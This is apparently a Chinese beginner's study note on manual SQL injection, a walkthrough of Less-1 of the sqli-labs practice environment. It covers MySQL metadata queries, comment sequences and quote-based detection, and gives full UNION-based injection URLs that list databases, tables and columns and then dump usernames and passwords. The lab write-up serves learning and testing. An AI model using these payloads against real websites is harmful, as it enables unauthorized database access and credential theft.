mysql简单基本用法:
1)查库:select schema_name from information_schema.schemata;
2) 查表:select table_name from information_schema.tables where table_schema='security';
3)查列:select column_name from information_schema.columns where table_name='users';
4) 查字段:select username,password from security.users;
注释符号:
1)--+
2)-- --后面有一个空格
3)#
limit:
SELECT * FROM users WHERE id='3'' LIMIT 0,1
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。
单引号判断
$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
order by
order by n:通过第n列进行排序,默认升序。
用来判断表中的数据有多少列,用二分法进行测试。
Mysql函数
1) SYSTEM_USER() 返回当前用户; SELECT SYSTEM_USER();
2) USER() 返回当前用户 SELECT USER();
3) CURRENT_USER() 返回当前用户 SELECT CURRENT_USER();
4) DATABASE() 返回当前数据库名 SELECT DATABASE();
5) VERSION() 返回数据库的版本号 SELECT VERSION();
6) @@datadir 返回mysql安装路径 SELECT @@DATADIR;
7) @@version_compile_os 返回当前操作系统 SELECT @@version_compile_os;
8) GROUP_CONCAT() 将所有的数据拼接后作为一行进行显示
9) CONCAT_WS('~',A,B) 以A~B的形式将数据显示出来
参考:(97条消息) mysql之group_concat函数详解_Garfield_cat_cat的博客-CSDN博客_group_concat()
less1
首先,将less1文件下的index.php文件修改,添加
echo $sql; #添加这一行的作用是,将构造的sql语句进行输出
echo "<br>"; #换行
添加这两行的好处是可以在注入时随时看到sql语句。
提示输入id
输入id值,有回显
?id=1
添加单引号判断是否存在sql注入
?id=1'
提示语法错误,存在sql注入。
然后用order by查看有多少列,可以尝试用二分法的方式来查看多少列.
可以看出有3列。查看可以使用的位置
?id=1' union select 1,2,3 --+
没有信息,将1改为-1让其进行报错
?id=-1' union select 1,2,3 --+
得到可以使用的位置2,3
我使用第三个位置来进行sql注入。首先查库
?id=-1' union select 1,2,schema_name from information_schema.schemata --+
查库的第一种方法,使用limit n,1,但这种方法太慢了,推荐使用第二种方法
查库的第二种方法:group_concat()
然后查表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1--+
由于‘security’会引入引号,这里建议将其转为16进制,效果一样。(要先将引号去到,然后对security进行转换)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+
查列,这里也建议将users转换,我这里就不转换了。
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1--+
最后查字段username,和password
?id=-1' union select 1,2,group_concat(username) from security.users--+
但这样不利用我们观看,所以使用concat_ws()来进行查找,这里也可以对’~'进行转换
?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
最后利用这些方法可以对数据库的数据进行查看
总结:这也是我刚开始学手工注入,笔记写的还不够全面,里面少了一些注释,知识点还不全面,但我认为写的太全面对于像我一样刚接触的菜鸟不太好,因为写的太详细就会让自己产生一种错觉,认为自己已经懂了,就直接跳过这些东西,这种习惯不太好。还是要自己去查资料,去看一些官方的解释文档。下面这个博主的视频讲的也很好非常适合入门,大家如果不懂可以看这个大佬的视频。